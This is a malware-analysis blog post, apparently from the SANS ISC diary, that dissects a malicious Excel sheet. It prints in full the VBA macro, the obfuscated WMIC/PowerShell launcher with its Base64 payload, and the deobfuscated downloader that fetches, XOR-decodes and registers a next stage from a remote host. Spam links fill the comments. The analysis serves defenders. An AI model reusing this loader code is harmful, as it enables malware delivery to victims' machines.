Malicious Excel Delivering Fileless Payload
Macros in Office documents are so common today that my honeypots and hunting scripts catch a lot of them daily. I try to keep an eye on them because sometimes you can spot an interesting one (read: “using a less common technique”). Yesterday, I found such a sample that deserve a quick diary!
The Excel sheet is called ‘bill-and-payment-76399.xlsm’ (SHA256: c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3). It has been submitted several times on VT from different countries, so it must be part of an ongoing campaign. Its current score is 33/61[1]. Classic behavior, it asks the victim to review a fake invoice:
Let’s have a look at the macro:
Sub newS() Dim c(5000) For Each ce In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants) c(ce.value) = Chr(ce.Row) Next For Each k In c fert = fert + k Next On Error Resume Next WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1) End Sub Sub REVIEW5() Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False End Sub Private Sub Documentreview_Click() n = 90: REVIEW5 End Sub Private Sub X_Layout() newS End Sub
First, you see that there is no workbook_open() macro present. Nothing is executed automatically, which is always a nice anti-sandbox trick. In a fully automatic sandbox (without user interaction), nothing will happen.
There is a macro assigned to the “Document review” button and the picture: DocumentReview_click(). It calls REVIEWS() that will simply close the sheet after 5 seconds.
There is another object in the document:
</v:shapetype><v:shape id="X" o:spid="_x0000_s1025" type="#_x0000_t201" style='position:absolute;margin-left:999pt;margin-top:966pt;width:3.75pt; height:3.75pt;z-index:1;mso-wrap-style:tight' stroked="f" strokecolor="windowText [64]" o:insetmode="auto">
I did not find the exact purpose of a '*_Layout' macro but it is called every time the user scrolls into the document. The macro calls another one: newS() which decrypts and executes the malicious payload. Where is it stored?
Here we have two other nice tricks: The malicious code is hidden in the sheet but instead of using a defined range, a specific enumeration method is used: xlCellTypeConstants[2]. It easy to see the spread of constant into the sheet. Select all (CTRL-A) and change the font color. See the results:
From the attacker perspective, It’s a nice way to generate new documents on the fly (so, with a different hash) just by changing randomly the cells!
Finally, the extracted payload is executed directly from the variable:
WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1)
To easily capture the executed payload, I used Sysmon and event type 1 to get all executed processes. The payload is:
C:\Windows\SysWOW64\wbem\WMIC.exe "prOcesS" 'CALL' cREATE "poWerShELL -eXeCutiOnP bYpaSs -nOprOFILe -NONiNteracT -Win 00000000000000001 Set I3 ([StRINg][ChAr]34) ;$7OEF =([CHAR]44).TOSTrIng() ; .( $PSHome[21]+$PSHOme[34]+'x') ("\"&(${I3}{1}{0}${I3} -f 'al'${7OEF}'s') (${I3}{1}{0}${I3} -f'f'${7OEF}'re') (${I3}{1}{2}{0}${I3} -f (${I3}{2}{1}{0}${I3} -f't'${7OEF}(${I3}{0}{1}${I3} -f 'Obje'${7OEF}'c')${7OEF}'-')${7OEF}'N'${7OEF}'ew');& ( `${S`h`ellID}[1]+`${ShELL`Id}[13]+'x') (&(${I3}{0}{1}${I3}-f're'${7OEF}'f') sYSTeM.iO.COMPRESsiON.deFLaTEStrEAm([Io.memorYsTreAM] [systeM.CoNvERt]::fromBASE64sTrInG( (${I3}{7}{29}{12}{26}{33}{51}{44}{8}{1}{30}{20}{2}{56}{18}{52}{3}{24}{45}{46}{19}{39}{4}{32}{50}{28}{27}{17}{31}{5}{37}{34}{21}{49}{48}{23}{13}{15}{41}{38}{6}{9}{36}{47}{11}{22}{35}{57}{55}{42}{40}{53}{14}{25}{16}{43}{10}{54}{0}${I3} -f 'wYe2fsBQHneg/52oU0tQ1/wE='${7OEF}'kTv'${7OEF}'bYdIo1xebYCa9MGAr'${7OEF}'d5jtzfnIX/ky2bQ8W0N+mbNpDEZbALprQTcliIK10MRbT0osj67wdwXA7GY4uQP/pQ0rDxUdLHIClnYt5uJQYVELN+4UE'${7OEF}'1r1gpl3qmk8qYDwlV+g'${7OEF}'Mm35Y2pha1Kd5tcEhQWaWQHBxom'${7OEF}'fX'${7OEF}'ZVdtd5rKFv4rU5a3QI1UbZrm6nLd6wtJ7UmsVarNta47RMfIOQgWRhPj4b+fZ'${7OEF}'yvMpeV6om+aL/mpmgiFuR8VNFXRsZUaj8Jstraj5ovYRX/3Y12Bh4uSBoFH44kH8oAxDLvW/sL9OGpV6Yb9NGlD19hXglE/kDyLD9Rqf'${7OEF}'N5bK4cRMVDrKxibKkBDTt/8rXa3NircutqSQPxYnMDY+OOlkXaj1lp28QYDwMMLW3DnatL7WXxAhQQ'${7OEF}'FFjuYYR55juzc+97s9bseUwHF'${7OEF}'Une0tsObZ5YD7q'${7OEF}'dFwoVK+6jegqZ/TdJ7sPyX7j/AHvytlpfffysBFsr88hOQggFiQaztcejNcrEevN8c33Uv6'${7OEF}'otau0qFXbUInBDEkoKFfpxYw3jCGSe2IHmCDUcrzawFIz4VkBwSGCvtgvo6ruivkzQ5a1pi0l240mU5PJ4fy6sCR5JhQBpRnsOpvxNcAtGdYp/yDhqSUqRQjKO/'${7OEF}'CqPD/2u+dtQ'${7OEF}'oFclQZ3nB6Cv/Q2'${7OEF}'N9Solas3Hy+dPUu182Xw/djJyKdWqO1ZFlKLp+61dvpKPyZnxksfRNjnp7Gq5jN7G1kST2DhB18xTmzy'${7OEF}'6oQXyxLbUUjYDxiIj'${7OEF}'5mY+0J6Y50COvXsPpYKLPEmq+Zrc6wUibXvzoShw3+Y8xMz/+fw8Gc9EnITBcjH/5ME7tz+Bb9WMXm2'${7OEF}'kind2LzhewL3RrTGHcDnUTVnZk5SR/1nc8/VBVT+/Sh0cEwzi5v4C3xWNHpFrpwTKk6Hqu9LbiVkhyUCWlmhwpPi2Rorp+SDJDcnXsBfM8Qp+eqGYyUbU4oybAJejRlbrk7OLc+viu+vGC'${7OEF}'xa7ZgGlaiwFYY46gs30E2rG2zDv4RR2D8kJiz1eA8my+8qZfy4u0kauo6'${7OEF}'iqJtVBuVPLAaUgj1XBO5TiOw62TOpvwZ0ejT'${7OEF}'E3BotzSwdBfn1QHFT6nnLjcXF'${7OEF}'a8qqbelU+WbRGiorgGe0X'${7OEF}'mWSeNtDpoM3Y7ji/Q4x/kqDsc4ahjEGSx/WO94mepRMyK2EbWn4fnym2lt3ZvvQhW7krFKih'${7OEF}'TiP8r+5npldrUVEvpdnuElKUNbI5WaVOnp2ibEP6mRe2NZp6RG30curYdHnNnwLu9By1diemtwmCvuM+jdxs13bd'${7OEF}'N3wcdueih7vNoEt/es4dvrx10yfHPJJZ68qTNAmpA2nadIeiH9qyRKK35PPWjbpu68'${7OEF}'Zh/Fxo5I9BlSwl+lDkgIInv31Ol4xrFWRhpRb1CqNkCM9YMJ1ViJlnqHpLpsbmZbvzsAJgmxClJ+n9IboiQ697CeGO8PQ7kA'${7OEF}'lQ'${7OEF}'w9oMP0gosx+f/azN8wytH012ZeTfSXZf0i00oLpbqSf6d0mLrFwSlt83/u2bjL55ZwZjE3kbm1PIVcmCZKrJhojwXgX43AbnzDY2gOJGylWFkSZyeqMZcaUJUgrYwOvSdrPdGUoth1cXUg8xeeffzHYm8i7tSBzlSSzCBXnqXA37FnNeGivIBSJK1/MyOYNeYzP3'${7OEF}'oAoHQ4ADepZF7w8'${7OEF}'WZA2roNnGDSKxTjCKz'${7OEF}'pZSHHwmmuZ7s+Jbd'${7OEF}'aurTYDlXFnl6bgUKZU9IpB9onsW'${7OEF}'hIuo8hY6dfGE9IEGe5tPqcyi98IETbu4wMXegGxoYxeDJXPLrMsQ0cnKWplrX'${7OEF}'+ZDKfkW+KxBEVKNc+p6x5eQ2MTKf1BdhJN'${7OEF}'x/9+0OIFssSCkp8K'${7OEF}'81WklWKm1WSxENPSeBatcwFYITmAVV'${7OEF}'YC+QUjAJ8vQPv9ihIn39zEwbdX3/TfST2rWqTVV5x/KJ4zW/IN5//aqJ/Y0UUbwi8+RlEaIzdHGApkRtJ'${7OEF}'KjqbAXz5ioZEAew9XNQITG2OAzjG24n1Kpa'${7OEF}'NqTFo'${7OEF}'iGAniuslhTDzK0n6bmEC5kRrzpUxeapS+hF2QDsbB3eNdTWOttec2x+WpNk3HFu4iqsO+cThg1fmeeKrQkwb/p6WHdPeYKQ03xFnVNiUJ/EMqFnstvbe2leTULw6VAvDYmFyT3PFT/J7Xwiu4smscjkHojS/RveTq2ALXEfZyHsuKKaxVjHxP'${7OEF}'7CYNd/DTJAdx/Ae81yGad0Y8bFNWXLBWxtDb/uuk5Gj37E8+KRXLsIWHFBpvMYH'${7OEF}'xyJhWZ5/bvQf5Wcuy3QcuxZMnaQDld6HYF2qSEGl/qlsnzzYEugX1UylWausnwUOWYheZLF6J3D'${7OEF}'nz85eJp6mUtvmj7r'${7OEF}'OQQlqQA5uELvW74sWxJ5d9QrTr99yVeCkQnuhFZJ/fJkV9Hj7qxdNWS'${7OEF}'EmkBW4zzd/a4Joeru'${7OEF}'K'${7OEF}'fOYvRPuVGYyk+IkKzC18xWVfeYtcvqOrxICRx2AHW6hsMK0npDWWNy3fU8Ulve'${7OEF}'EV5od85T33XnF/7T0x1CjlA'${7OEF}'pL0uAoXgMBeC4xGmbE2rRGTX9j58LPvFOlaW+iSARSMcfROKqpbWIuBpq'${7OEF}'cr4AyU/nHd7x7hZ4fnXp2oD8n07C1wVO7VLIYQBrqgViWQVUkaQXn2I6nuqhsorQ9+6epEK1vLtGu7cx0tc'${7OEF}'W+E2oLtvdtIwjhU/wPFayFKfGCCcCWrnGKkpdedQ1efdTmJa2q3r8'${7OEF}'7KQCzriTXv9zQpLp/'${7OEF}'ylr0m5bYA8vl6dngXGyB/eAnD2yi9i62H9C7G0t35VR5TRpwJ1cz'${7OEF}'m5Typ+QlFtj/GmnK+5JyvgUsXr85UbbpzQOt2CRIOCHxfOTmxlI9tUADEXu'${7OEF}'XsV5b'${7OEF}'zZkrZA7iTMoyfr') )${7OEF} [io.cOMPressiON.coMPreSSioNMOde]::deCompResS)| &('%%') {&(${I3}{0}{1}${I3} -f 'r'${7OEF}'ef') sYSteM.io.sTreAMreADEr(`${_}${7OEF}[sySteM.tExT.encoDing]::asciI ) } ).ReadTOENd()"\") "
The big Base64 chunk can be easily reversed using the PowerShell ISE. Here is the result:
.("{2}{0}{1}{3}"-f 'ar','IA','seT-v','blE') tJ4 ( [typE]("{0}{3}{1}{2}" -f 'sys','C','onvERt','tem.') ) ; .("{2}{1}{3}{0}"-f 'RiAblE','-v','sET','a') xs4Hq ( [tYpe]("{1}{0}{3}{2}{4}"-f 'IoN.AsSEm','reFlect','L','b','Y') ) ; $10FP=[tYPe]("{1}{0}{4}{7}{5}{11}{10}{2}{9}{3}{6}{8}" -f 'sTem.se','sy','Nc','.wiNd','c','ty','owSIdeN','uRI','tiTY','ipAl','ri','.p') ; .("{1}{0}{2}" -f'TE','SEt-I','M') varIaBLE:muR ( [Type]("{0}{1}{3}{2}" -F 'TEx','t.eN','g','CodIN') ) ; $zq72=[TyPE]("{1}{2}{0}" -f'T','con','vER') ; .("{0}{1}"-f'SeT-i','teM') ('va'+'RiABlE:'+'aw8'+'z7T') ( [TyPe]("{1}{0}" -f '.File','io')); .("{0}{2}{1}"-f 'SET-I','m','TE') ("varIAB"+"le:5"+"Psl") ([TYpe]("{1}{0}"-F 'egeX','r') ) ; ${G}=1;${v}= (&("{2}{1}{3}{0}" -f 'e','eT-','G','VaRIAbl') TJ4 -VaL )::("{0}{1}" -f'ToBoo','lean').Invoke(${g});${N`N}=10*10;${YL}='';${S}=0;function m`2(${ih}){$(${ih}.("{1}{0}{3}{2}" -f 'bstri','su','g','n').Invoke(${g}) -replace('-',${Yl})) -replace('S',${Yl});return ${_}};${Mk}='ms';${ym}='n';${QE}=(.("{0}{1}{2}" -f'Get-Pr','oces','s') -Id ${P`ID})."Mai`NwINd`o`w`hAnDlE";${cA}=[Runtime.InteropServices.HandleRef];${X`x}=.("{1}{0}" -f'ef','r') ${CA}(${G},${Q`e});${t}=&("{0}{1}"-f 're','f') ${C`A}(2,${s});(( ( &("{0}{1}"-f'Di','r') VAriAble:xS4hQ).vaLUe::("{1}{2}{4}{3}{0}{5}" -f 't','L','oad','ar','WithP','ialName').Invoke('Wi'+${Y`M}+'dow'+("{1}{0}" -f 'se','sBa'))).("{0}{2}{1}"-f 'Ge','pe','tTy').Invoke(("{1}{0}"-f'.Wi','MS')+${y`M}+("{1}{0}" -f'.U','32')+${YM}+("{0}{1}" -f 's','afe')+("{2}{1}{0}"-f's','hod','NativeMet')))::("{2}{0}{3}{1}" -f'e','owPos','S','tWind').Invoke(${xx},${t},${s},${S},${nN},${N`N},64.5*256);${cc}=("{0}{1}"-f 'om',' /')+"";${C`c}=${c`C}.("{0}{1}" -f 'spli','t').Invoke(' ');${s`S}=.('m2')(( ( .("{1}{0}{2}" -f 'ldI','Chi','TeM') VaRiaBlE:10Fp).VAluE::("{2}{0}{1}"-f 'e','tCurrent','G').Invoke())."us`eR"."VAl`Ue");${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};if(!(&("{0}{3}{2}{1}"-f'Test-C','n','ectio','onn') -Cn ${e}.("{1}{0}" -f 'plit','s').Invoke('/')[2].("{2}{0}{1}" -f'E','nd','Trim').Invoke(' ') -BufferSize 16 -Count 1 -ea ${S} -quiet)){${E`d}=${e}.("{1}{0}{3}{2}"-f'bs','su','ing','tr').Invoke(0,8);${e}=${ED}+"0"+${e}.("{1}{0}{2}"-f'plac','re','e').Invoke(${e`D},${Y`l})};&('Si') ("{2}{3}{0}{1}"-f 'iab','le:/f','V','ar') ${e}.("{0}{1}{2}" -f're','plac','e').Invoke(' ',${yl});${H`B}=${Y`m}+'t';.('Sv') 1 "Net.WebClie$hb";&('SI') ("{0}{1}{2}" -f 'Var','iabl','e:C2') (.("{0}{1}" -f 'r','ef') (&('Gv') 1 -Va));&('SV') ('c') ("{1}{2}{0}" -f 'ta','Dow','nloadDa');${o`AD}=(([Char[]](.("{0}{1}{2}"-f 'V','ar','iable') ('C2') -ValueOn).((.("{2}{1}{0}"-f 'le','ab','Vari') ('c') -Val))."inVO`Ke"((&("{1}{0}{2}"-f 'a','Vari','ble') ('f'))."V`AlUe"))-Join${Yl});${T`Ii}=${eNv`:TE`mp};${m`I}=(${D}=&("{0}{1}"-f'g','ci') ${t`Ii}|&("{3}{1}{2}{0}" -f 'andom','t','-r','ge'))."Na`ME" -replace ".{4}$";${W}=${t`ii}+'\'+${mi}+'.';${V`M}=${o`AD}.("{2}{1}{0}"-f 'ing','tr','subs').Invoke(${S},${G});${P}=[int]${v`m}*${NN};${l`Qa} =${O`AD}.("{2}{1}{0}" -f'e','ov','rem').Invoke(${s},${G});${p`L}=${l`qA} -split'!';.("{1}{0}" -f'l','sa') ("{0}{1}"-f'utf','8') ("{2}{0}{1}" -f 'egsv','r32','r');${j`p}= ( &("{1}{0}{2}"-f'IAbl','GeT-VaR','E') muR -vALUeon)::"u`TF8";function V`A(${ZX}){${S`A}= ( .("{1}{0}"-f'TeM','I') VArIable:zq72 ).VAlue::("{1}{2}{0}{3}" -f 'Base64St','F','rom','ring').Invoke(${z`x});return ${S`A}};foreach(${i`T} in ${pL}[${S}]){${G}=@();${p`Pt}=${v`M}.("{2}{1}{3}{0}" -f'y','harAr','ToC','ra').Invoke();${i`T}=.('va')(${I`T});for(${J`l}=${S}; ${J`L} -lt ${i`T}."C`OuNT"; ${j`L}++){${g} += [char]([Byte]${It}[${JL}] -bxor[Byte]${p`pT}[${J`L}%${p`pT}."C`OuNt"])}};${vv}=${l`qA}."RE`plaCe"((${p`L}[${s}]+"!"),${j`P}."GET`s`TR`INg"(${g})); ( .("{0}{1}" -f 'iT','eM') vArIaBLe:Aw8z7t).vaLuE::("{1}{2}{0}"-f'tes','W','riteAllBy').Invoke(${w},(.('va')(${Vv} -replace ".{200}$")));if((.("{1}{0}"-f'ci','g') ${W})."l`ENgtH" -lt ${P}){exit};&("{0}{1}"-f 'slee','p') 17;.("{0}{1}"-f 'ut','f8') -s ${W};.("{0}{1}" -f'sl','eep') 17; $aW8z7t::"WriTEaLl`lIN`Es"(${W}, (&("{1}{0}" -f 'i','Gc') ("vaRIaB"+"LE:5"+"pSl") ).vaLUE::("{1}{2}{0}" -f 'ace','r','epl').Invoke(${S`s},'\d',${y`l}))
Nicely obfuscated. It's a downloader, the URL to fetch the next stage is located here:
${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};
At execution time, it contains:
https://True1True.com/?15211866265027187085091015791359731000
The domain does not resolve to an IP at the moment but I found two IP addresses in passive DNS: 84.38.183.36, 80.249.146.7.
[1] https://www.virustotal.com/gui/file/c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3/detection
[2] https://docs.microsoft.com/en-us/office/vba/api/excel.xlcelltype
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
8 months ago